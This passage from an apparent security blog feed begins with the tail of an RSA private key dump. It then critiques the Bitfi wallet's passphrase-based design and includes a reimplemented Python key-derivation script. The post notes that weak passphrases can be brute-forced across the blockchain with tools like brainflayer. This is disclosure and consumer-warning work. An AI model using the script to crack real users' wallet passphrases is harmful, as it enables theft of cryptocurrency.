bd:25:97:c1:4d:43:c7:5d:d0:27:68:91:d3:b2:c5:
98:0e:d6:57:c6:3e:a2:ba:a8:70:94:6b:30:77:db
privateExponent:
00:8c:ea:a5:ac:1a:12:53:1b:28:5b:75:0a:85:cb:
d0:4b:48:2c:cb:c3:16:bf:72:10:c0:6b:eb:8e:2b:
1a:63:d3:d2:3f:4e:ac:72:04:8a:83:cc:e8:a8:05:
e4:76:04:aa:64:3a:02:90:fa:f4:d2:6d:dc:5b:a7:
ff:8e:a1:d9:6f:81:8a:56:d8:dc:cd:b0:64:ff:5f:
73:b0:9d:fb:8b:72:91:39:e3:7f:84:5c:c3:d1:6e:
4a:f0:be:7e:d0:40:31:e2:06:5f:5c:72:74:88:9b:
ff:6c:1a:2e:1e:b4:b6:3c:9f:32:57:5c:96:10:67:
c3:a6:7b:06:44:a3:ca:4a:2d:d4:76:f3:98:9e:61:
f5:6e:55:8e:fa:d6:26:e8:b8:5d:d6:4a:9f:21:21:
60:fc:59:d5:d6:cc:58:c1:9d:9f:89:d0:b3:f1:ad:
b2:3d:d9:d0:45:b0:c1:3d:46:5e:e8:86:68:bb:02:
5d:ce:5c:ac:53
prime1: 223 (0xdf)
prime2: 373 (0x175)
exponent1: 205 (0xcd)
exponent2: 319 (0x13f)
coefficient: 168 (0xa8)
prime3: 505511 (0x7b6a7)
exponent3: 201953 (0x314e1)
coefficient3: 141986 (0x22aa2)
prime4: 62264393819 (0xe7f3f405b)
exponent4: 34891590717 (0x81fb36c3d)
coefficient4: 15148084064 (0x386e56b60)
prime5: 692091200694401 (0x275740a2b6881)
exponent5: 552465485917523 (0x1f676e509ed53)
coefficient5: 78237913099958 (0x47282f04aeb6)
prime6:
7d:25:8e:35:a8:57:b2:4b:8c:56:6b:67:85:e0:bd:
03:61:a8:9c:ab:50:dc:a2:25:61:0f:c8:af:7d:0f:
51:f3:24:11:26:3c:e9:2f:0f:c7:1e:9b:96:7e:d3:
e0:56:38:1e:48:de:df:11:e6:bf:8e:86:8a:3a:d8:
d4:ec:9b:a9:7e:b7:f2:84:0e:c3:f3:3c:e7:bb:69:
fd:6e:db:1e:07:58:35:ae:de:b1:e6:82:12:61:73:
87:18:e7:e8:d5:31:0f:59:f1:05:b7:32:21:ef:cd:
28:6c:56:4e:fa:be:67:02:c2:2a:ed:24:8c:8d:56:
d5:12:ee:49:05:74:a3:ac:7d:d1:01:07:25:c2:ff:
ba:07:10:f5:26:14:41:07:8b:c8:e7:fc:96:d2:81:
24:b6:3b:a5:7d:ae:15:f5:34:b9:73:b5:af:05:70:
5e:69:d0:21
exponent6:
54:7c:0f:4c:e7:e2:e5:2e:9d:54:dd:25:cf:39:f5:
ca:a4:3a:90:a7:69:87:de:ad:9c:e8:be:e8:98:60:
b0:22:0c:50:f3:74:25:9a:e4:04:b2:19:56:74:95:
ed:0c:65:c2:a9:4b:dc:f2:87:d1:b3:59:c6:9f:28:
88:a8:0a:85:61:53:46:90:b1:3c:14:9f:d4:33:b3:
b0:05:27:a0:9c:93:c7:65:30:76:d7:59:01:8d:f1:
b8:6d:c2:b4:34:1d:10:67:ef:b9:d0:f1:64:62:d9:
8f:78:8a:f2:fc:84:9b:55:dd:dd:b6:a7:e3:21:df:
00:9c:03:4c:89:0a:66:52:4f:0d:ae:d4:cc:2d:79:
5b:81:f6:4a:bb:82:c8:bc:5c:51:fc:9f:91:d3:6f:
ec:0e:43:af:98:3f:90:bb:8b:db:bd:de:b6:6e:04:
c3:bc:73:93
coefficient6:
4a:9c:ed:70:1f:c7:4b:f4:0b:e0:32:a5:db:f5:07:
13:88:25:e9:c0:21:16:a2:09:5d:a6:db:00:c9:b2:
5e:63:90:b7:a1:0f:aa:60:ed:39:fd:3a:2b:ab:21:
c9:c8:d6:ab:e0:40:e9:29:fa:b4:84:11:6a:a8:f2:
2f:b6:27:6b:5e:50:1a:4b:55:74:83:51:7c:83:91:
bf:ce:46:ee:30:76:68:21:71:a3:9d:cd:04:54:41:
24:98:5e:a4:61:c5:0f:b5:5a:24:f8:d1:3a:39:21:
ce:af:a8:33:e0:0a:ee:dd:7d:21:b5:e6:e8:f8:32:
5d:59:d9:09:5e:62:53:82:0c:e8:df:21:76:35:fe:
47:d8:9e:56:e7:a5:2f:45:d2:e0:25:21:1e:da:63:
ec:be:fa:f3:47:a0:0a:1b:7b:42:6c:9e:0f:b3:91:
83:f6:38:3f
</pre>
<p>It works!</p>
<p>One thing I did notice when testing is that when using keys with particularly
small primes, I’d sometimes get errors about “no inverse”. I’m not entirely sure
of the cause, but I was able to get around it by retrying operations a few
times.</p>
</div>
Bitfi’s Hardware Wallet is Terrible2018-07-27T08:23:00-07:002018-07-31T11:38:00-07:00ryanctag:rya.nc,2018-07-27:/bitfi-wallet.html<!-- included from `include/globals.rst` -->
<p>It recently came to my attention that
<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fofficialmcafee">John McAfee</a> has been advertising a
cryptocurrency hardware wallet from a company called
<a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com" rel="nofollow">Bitfi</a>, with the claim that it is “unhackable”. There’s
even a <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fbounty" rel="nofollow">$250,000 bounty</a><a id="id1"></a> to hack it. I do not have
one of the actual devices in my possession, but from my review of the
publicly available
“<a class="external" href="proxy.php?url=https%3A%2F%2Fdocs.wixstatic.com%2Fugd%2F9e18eb_6d75d420deeb46f0a31493fde61319df.pdf">source code</a>” [PDF]
and their
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.btknox.org%2Fcalculate-your-private-keys">private key calculator</a>,
my conclusion is that their product is most charitably described as a “footgun”.</p>
<!-- included from `include/globals.rst` -->
<p>It recently came to my attention that
<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fofficialmcafee">John McAfee</a> has been advertising a
cryptocurrency hardware wallet from a company called
<a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com" rel="nofollow">Bitfi</a>, with the claim that it is “unhackable”. There’s
even a <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fbounty" rel="nofollow">$250,000 bounty</a><a class="footnote-reference" href="#id11">[1]</a><a id="id1"></a> to hack it. I do not have
one of the actual devices in my possession, but from my review of the
publicly available
“<a class="external" href="proxy.php?url=https%3A%2F%2Fdocs.wixstatic.com%2Fugd%2F9e18eb_6d75d420deeb46f0a31493fde61319df.pdf">source code</a>” [PDF]
and their
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.btknox.org%2Fcalculate-your-private-keys">private key calculator</a>,
my conclusion is that their product is most charitably described as a “footgun”.</p>
<p>Quoting McAfee (who is known for
<a class="external" href="proxy.php?url=https%3A%2F%2Fmotherboard.vice.com%2Fen_us%2Farticle%2F3kjpyn%2Fjohn-mcafee-100k-twitter-promote-cryptocurrency-paid">promoting scams</a>),</p>
<blockquote>
For all you naysayers who claim that "nothing is unhackable" & who don't
believe that my Bitfi wallet is truly the world's first unhackable device,
a $100,000 bounty goes to anyone who can hack it. Money talks, bullshit
walks. Details on Bitfi.com<a class="footnote-reference" href="#id12">[2]</a><a id="id2"></a></blockquote>
<p></p>
<blockquote>
We created a simple, foolproof way to use the brain as the wallet. The
Bitfi.com wallet is the transcriber between the inner brain and the outer
world of digital currencies. Until someone discovers a means of hacking
the brain, your money is safe.<a class="footnote-reference" href="#id13">[3]</a><a id="id3"></a></blockquote>
<p>Oh, dear... That sounds terribly familiar. In the lead-up to
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dfoil0hzl4Pg">my talk</a> about cracking these
kinds of schemes, Wired published an article about my work literally titled
“<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.wired.com%2F2015%2F07%2Fbrainflayer-password-cracker-steals-bitcoins-brain%2F">Brainflayer: A Password Cracker That Steals Bitcoin From Your Brain</a>”. My talk managed
to kill the infamous brainwallet.org site, but the idea of turning a user
supplied passphrase into cryptocurrency keys seemingly will not die. I had to
take a look at what Bitfi was actually doing.</p>
<p>To start with, I had a look at their their
<a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fbounty">bounty offer</a>:</p>
<blockquote>
This bounty program is not intended to help Bitfi to identify security
vulnerabilities since we already claim that our security is absolute and
that the wallet cannot be hacked or penetrated by outside attacks. Rather
this program is intended to demonstrate to anyone who claims or believes
that nothing is unhackable or that they can hack into the Bitfi wallet,
that such attempts are futile and that the advertised claims about the
Bitfi wallet are accurate.</blockquote>
<p>In other words, the sole purpose of it is to discredit security researchers
like myself who raise concerns about the design of their product. This is not
a new trick — it was specifically
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.schneier.com%2Fcrypto-gram%2Farchives%2F1998%2F1215.html%23contests">called out by Bruce Schneier</a>
as a red flag nearly twenty years ago. In this instance, Bitfi is calling it a
“bounty program” to try to ride on the coattails of legitimate bug bounty
programs, which are generally wide in scope. This one is unfair, falling
into exactly the pattern that Schneier described:</p>
<blockquote>
Most cryptanalysis contests have arbitrary rules. They define what the attacker has to work with, and how a successful break looks. Jaws Technologies provided a ciphertext file and, without explaining how their algorithm worked, offered a prize to anyone who could recover the plaintext. This isn't how real cryptanalysis works; if no one wins the contest, it means nothing.</blockquote>
<p>Indeed, you have to be spend $120 on a Bitfi device, and then pay another $10<a class="footnote-reference" href="#id14">[4]</a><a id="id4"></a>
to “preload it with coins” to even try, and then you specifically have to hack
the wallet associated with particular the device they send you. If a researcher
found, for example, the device had a weak RNG that allowed for key recovery by
examining a series of transactions generated by it, they would not win the bounty.
Neither would they for finding a way to hijack their automatic update system to
install a keylogger.</p>
<p>Another point Schneier makes is that often the details of the algorithms used
in these sorts of contests are often kept secret:</p>
<blockquote>
Most contests don't disclose the algorithm. And since most cryptanalysts
don't have the skills for reverse-engineering (I find it tedious and boring),
they never bother analyzing the systems.</blockquote>
<p><a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FKerckhoffs%252527s_principle">Kerckhoffs’s principal</a>
in essence says that a properly designed system should still be secure even if
the attacker knows everything except the key. Here, Bitfi engages in some
misdirection, claiming to be “open source”, however their “source code” is
just a
<a class="external" href="proxy.php?url=https%3A%2F%2Fdocs.wixstatic.com%2Fugd%2F9e18eb_6d75d420deeb46f0a31493fde61319df.pdf">PDF</a>
largely made of formulas copy/pasted from the description of
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.tarsnap.com%2Fscrypt%2Fscrypt.pdf">scrypt</a>
and
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbitcoin%2Fbips%2Fblob%2Fmaster%2Fbip-0032.mediawiki">BIP32</a>.
A number of people called them out on this, and in response a comment on reddit,
a user going by Bitfi-Team
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.reddit.com%2Fr%2FBitcoin%2Fcomments%2F91azzr%2Fbitfi_hardware_wallet%2Fe2yo2bp%2F%3Fcontext%3D3">replied</a>:</p>
<blockquote>
We never said we were providing full open source code. We clearly state
that our wallet is open source. Just check our website before you spew
garbage. But if you want the code, do some math. Don't be lazy.</blockquote>
<p>Not inspiring confidence. The PDF does not acknowledge that they’re using
anything related to scrypt or BIP32, and I had to compare the formulas to
verify. Algorithms 5 and 6 in the paper are not clearly described, and for a
full understanding I had to resort to decompiling their private key generator
tool which was inexplicably hosted on the site of a
<a class="external" href="proxy.php?url=https%3A%2F%2Fsunorchard.com%2F">juice company</a>.<a class="footnote-reference" href="#id15">[5]</a><a id="id5"></a>
The zip included two DLL files and a Windows executable, which turned out to be
a .Net console application written in C#. Despite it having been run through an
obfuscator, <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.jetbrains.com%2Fdecompiler%2F">dotPeek</a> was able to give
me a good picture of what was going on.</p>
<p>The tool displays a dire warning with a scary red background when first started:</p>
<blockquote>
<p>WARNING!!!! Entering your information on this computer is extremely unsafe
and it is very possible that you will lose your money by running this
application.</p>
<p>Enter Y to continue or any other key to immediately exit and close this program.</p>
</blockquote>
<p>If you’re brave enough to enter <code>Y</code> at this point, it will prompt you to
enter a code for the cryptocurrency you’re using, the address you want to
recover the private key for, your “salt” (a user selected value, they recommend
using your phone number, social security number, or email address<a class="footnote-reference" href="#id16">[6]</a><a id="id6"></a>) and
passphrase. The private key will only be printed if the address matches, but
that restriction is not inherent in the algorithm. After a few hours, I was
able to get a compatible implementation in Python.</p>
<p>It’s essentially
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbitcoin%2Fbips%2Fblob%2Fmaster%2Fbip-0032.mediawiki">BIP32</a>.
with a few modifications (the string “Bitcoin seed” is
replaced with <span class="formula"><i>SHA</i>256(<i>salt</i>)</span>, which is not mentioned in the PDF) and
<span class="formula"><i>scrypt</i>(<i>pass</i>, <i>salt</i>, <i>N</i> = 2<sup>15</sup>, <i>p</i> = 4, <i>r</i> = 8, <i>dkLen</i> = 64)</span> to seed the master key.
Currency specific subwallets are derived with the BIP32 hardened CKD function
using a “creative” algorithm to generate the subkey id. Again, I don’t have a
physical Bitfi device, so I can’t verify the device itself follows the same
algorithm, but this is compatible with the software they have publicly
available.</p>
<p>Since publication, another researcher has been able to verify that the device
generates addresses and keys matching my scripts.</p>
<div class="highlight"><table class="highlighttable"><tbody><tr><td class="linenos">1</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">sys</span></code>
</td></tr><tr><td class="linenos">2</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">hmac</span></code>
</td></tr><tr><td class="linenos">3</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span></code>
</td></tr><tr><td class="linenos">4</td><td>
<code><span class="pgcsskn">import</span> <span class="pgcssnn">scrypt</span></code>
</td></tr><tr><td class="linenos">5</td><td>
<code><span class="pgcsskn">from</span> <span class="pgcssnn">pybitcointools</span> <span class="pgcsskn">import</span> <span class="pgcsso">*</span></code>
</td></tr><tr><td class="linenos">6</td><td>
</td></tr><tr><td class="linenos">7</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">ci</span><span class="pgcssp">(</span><span class="pgcssn">s</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">8</td><td>
<code> <span class="pgcssn">acc</span> <span class="pgcsso">=</span> <span class="pgcsss2">&quot;&quot;</span></code>
</td></tr><tr><td class="linenos">9</td><td>
<code> <span class="pgcssk">for</span> <span class="pgcssn">c</span> <span class="pgcssow">in</span> <span class="pgcssn">s</span><span class="pgcsso">.</span><span class="pgcssn">upper</span><span class="pgcssp">():</span></code>
</td></tr><tr><td class="linenos">10</td><td>
<code> <span class="pgcssn">acc</span> <span class="pgcsso">+=</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssnb">ord</span><span class="pgcssp">(</span><span class="pgcssn">c</span><span class="pgcssp">)</span><span class="pgcsso">-</span><span class="pgcssmi">64</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">11</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">acc</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">12</td><td>
</td></tr><tr><td class="linenos">13</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">print_address</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcssn">password</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">coin</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">14</td><td>
<code> <span class="pgcssn">priv</span> <span class="pgcsso">=</span> <span class="pgcssn">decode_privkey</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;hex_compressed&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">15</td><td>
<code> <span class="pgcssn">pub_c</span> <span class="pgcsso">=</span> <span class="pgcssn">privkey_to_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">priv</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">16</td><td>
<code> <span class="pgcssn">pub_u</span> <span class="pgcsso">=</span> <span class="pgcssn">encode_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">decode_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">pub_c</span><span class="pgcssp">),</span> <span class="pgcsss1">&#39;hex&#39;</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">17</td><td>
<code> <span class="pgcssn">addr_u</span> <span class="pgcsso">=</span> <span class="pgcssn">pubkey_to_address</span><span class="pgcssp">(</span><span class="pgcssn">pub_u</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">18</td><td>
<code> <span class="pgcssnb">print</span> <span class="pgcsss2">&quot;Y</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n</span><span class="pgcsssi">%s</span><span class="pgcssse">\n\n</span><span class="pgcsss2">&quot;</span> <span class="pgcsso">%</span> <span class="pgcssp">(</span><span class="pgcssn">coin</span><span class="pgcssp">,</span> <span class="pgcssn">addr_u</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">password</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">19</td><td>
</td></tr><tr><td class="linenos">20</td><td>
<code><span class="pgcssk">def</span> <span class="pgcssnf">derivekey</span><span class="pgcssp">(</span><span class="pgcssn">password</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">coin</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">):</span></code>
</td></tr><tr><td class="linenos">21</td><td>
<code> <span class="pgcssn">k_par</span> <span class="pgcsso">=</span> <span class="pgcssn">scrypt</span><span class="pgcsso">.</span><span class="pgcssn">hash</span><span class="pgcssp">(</span><span class="pgcssn">password</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">N</span><span class="pgcsso">=</span><span class="pgcssmi">32768</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcsso">=</span><span class="pgcssmi">4</span><span class="pgcssp">,</span> <span class="pgcssn">r</span><span class="pgcsso">=</span><span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcssn">buflen</span><span class="pgcsso">=</span><span class="pgcssmi">64</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">22</td><td>
<code> <span class="pgcssn">c_par</span> <span class="pgcsso">=</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha256</span><span class="pgcssp">(</span><span class="pgcssn">salt</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">digest</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">23</td><td>
<code> <span class="pgcssn">param</span> <span class="pgcsso">=</span> <span class="pgcssn">hmac</span><span class="pgcsso">.</span><span class="pgcssn">new</span><span class="pgcssp">(</span><span class="pgcssn">c_par</span><span class="pgcssp">,</span> <span class="pgcssn">k_par</span><span class="pgcssp">,</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha512</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">digest</span><span class="pgcssp">()</span></code>
</td></tr><tr><td class="linenos">24</td><td>
<code> <span class="pgcssp">(</span><span class="pgcssn">msk</span><span class="pgcssp">,</span> <span class="pgcssn">mcc</span><span class="pgcssp">)</span> <span class="pgcsso">=</span> <span class="pgcssp">(</span><span class="pgcssn">param</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">:</span><span class="pgcssmi">32</span><span class="pgcssp">],</span> <span class="pgcssn">param</span><span class="pgcssp">[</span><span class="pgcssmi">32</span><span class="pgcssp">:</span><span class="pgcssmi">64</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">25</td><td>
<code> <span class="pgcssn">master_key</span> <span class="pgcsso">=</span> <span class="pgcssn">bip32_serialize</span><span class="pgcssp">((</span><span class="pgcssn">PRIVATE</span><span class="pgcssp">,</span> <span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\x00</span><span class="pgcsss1">&#39;</span><span class="pgcsso">*</span><span class="pgcssmi">4</span><span class="pgcssp">,</span> <span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssn">mcc</span><span class="pgcssp">,</span> <span class="pgcssn">msk</span><span class="pgcsso">+</span><span class="pgcsssa">b</span><span class="pgcsss1">&#39;</span><span class="pgcssse">\x01</span><span class="pgcsss1">&#39;</span><span class="pgcssp">))</span></code>
</td></tr><tr><td class="linenos">26</td><td>
<code> <span class="pgcssn">coin_key</span> <span class="pgcsso">=</span> <span class="pgcssn">bip32_ckd</span><span class="pgcssp">(</span><span class="pgcssn">master_key</span><span class="pgcssp">,</span> <span class="pgcssn">ci</span><span class="pgcssp">(</span><span class="pgcssn">coin</span><span class="pgcssp">)</span> <span class="pgcsso">|</span> <span class="pgcssmh">0x80000000</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">27</td><td>
<code> <span class="pgcssn">sub_key</span> <span class="pgcsso">=</span> <span class="pgcssn">bip32_ckd</span><span class="pgcssp">(</span><span class="pgcssn">coin_key</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span> <span class="pgcssc1"># ** test comment please ignore</span></code>
</td></tr><tr><td class="linenos">28</td><td>
<code> <span class="pgcssk">return</span> <span class="pgcssn">bip32_extract_key</span><span class="pgcssp">(</span><span class="pgcssn">sub_key</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">29</td><td>
</td></tr><tr><td class="linenos">30</td><td>
<code><span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss2">&quot;__main__&quot;</span><span class="pgcssp">:</span></code>
</td></tr><tr><td class="linenos">31</td><td>
<code> <span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">s</span><span class="pgcssp">,</span> <span class="pgcssn">c</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span> <span class="pgcsso">=</span> <span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">],</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">],</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">3</span><span class="pgcssp">],</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">4</span><span class="pgcssp">])</span></code>
</td></tr><tr><td class="linenos">32</td><td>
<code> <span class="pgcssn">priv</span> <span class="pgcsso">=</span> <span class="pgcssn">derivekey</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">s</span><span class="pgcssp">,</span> <span class="pgcssn">c</span><span class="pgcssp">,</span> <span class="pgcssn">n</span><span class="pgcssp">)</span></code>
</td></tr><tr><td class="linenos">33</td><td>
<code> <span class="pgcssn">print_address</span><span class="pgcssp">(</span><span class="pgcssn">priv</span><span class="pgcssp">,</span> <span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">s</span><span class="pgcssp">,</span> <span class="pgcssn">c</span><span class="pgcssp">)</span></code>
</td></tr></tbody></table></div>
<p>Security-wise, this is about on par with using
<a class="external" href="proxy.php?url=https%3A%2F%2Fkeybase.io%2Fwarp">WarpWallet</a> to generate a seed for a BIP32 wallet.
Anyone can download the relevant blockchain and use something similar to
<a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fryancdotorg%2Fbrainflayer">brainflayer</a> to search for weak
passphrases across all addresses simultaneously. A patch adding support for
Bitfi should be out in a few weeks after I recover from DEFCON (I’m helping run a
<a class="external" href="proxy.php?url=http%3A%2F%2Fopenctf.com%2F">legitimate hacking competition</a>). I also note
that Bitfi is using uncompressed keys, which result in unnecessarily large
transactions and have therefore been deprecated for several years.</p>
<p>For savvy users who make no mistakes, this may<a class="footnote-reference" href="#id17">[7]</a><a id="id8"></a> provide adequate security.<a class="footnote-reference" href="#id18">[8]</a><a id="id9"></a>
There are a few problems, though. First, despite Bitfi providing some
<a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fguide">reasonable advice</a> on passphrase selection,
somebody is bound to pick something obvious. Second, it is highly impractical
to change one’s passphrase once in use since all addresses are derived from it.
Third, this product design has a failure modes that most hardware wallets do
not — cryptocurrency thieves can rob users who choose weak passphrases without
needing to steal the hardware wallet first. Bitfi tries to sell this as a
feature — “If the device is seized or stolen, taken apart and forensically
analyzed the private keys cannot be retrieved”. This statement seems to follow
from the claim that the device never writes any key material, even encrypted,
to persistent storage. Perhaps true technically, however as I mentioned above,
the consequence of this design is that cracking attempts do not require the
device. The entire security is dependent on a single factor — “something you know”
rather than the two factor security provided by typical hardware wallets —
“something you know, plus something you have”.</p>
<p>I <em>strongly</em> advise against using one of these devices. While Bitfi is perhaps
not an outright scam, the design is inferior to that of hardware wallets where
the device really is needed (or the backup of the seed) along with the passphrase
in order to spend the coins. The fact that they’re using a lot of the same
techniques to sell devices that have been used to sell
<a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FSnake_oil_%28cryptography%29">snake oil</a>
so many times in the past makes me <em>very</em> concerned. I’ve notified Bitfi of
these issues, however they showed no interest in fixing them.</p>
<p>Shortly after the original publishing of this post,
<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fsshell_%2F">@sshell_</a> <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fsshell_%2Fstatus%2F1022891442367123457">discovered</a>
that Bitfi’s CEO, Daniel Khesin, had been in a
<a class="external" href="proxy.php?url=https%3A%2F%2Fwww.sec.gov%2FArchives%2Fedgar%2Fdata%2F1463959%2F000155335016001916%2Fdskx_ex1.htm">legal fight</a>
with DS Healthcare. From a closer examination of the documents, it looks like
the court ruled in Khesin’s favor.<a class="footnote-reference" href="#id19">[9]</a><a id="id10"></a></p>
<p>Update 2018-07-30:</p>
<p>I wrote this post simply to explain the risks of the
Bitfi’s product to people who might be harmed by it. Unfortunately, I now need
to address accusations by some individuals affiliated with Bitfi that this
article is retaliation for them turning me down for a job. To be clear, the
tweet in which I said “contact me via email if you’re interested in hiring me
to do a security evaluation” was not a request for employment, merely a tactic
to shut down the conversation. I already have a full time job and various side
projects that keep me too busy to take on paid consulting work.</p>
<p>While I’m at it
— I have no financial interest in any cryptocurrency wallet. My blog
is operated at a loss without ads, coinhive, or any other monetization scheme.
This post and the work behind it was not sponsored or approved by my employer.
It was written without compensation or expectation thereof. I respond to
such offers by
<a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F880236691033698304">posting</a> <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F974835362332839936">screenshots</a>.</p>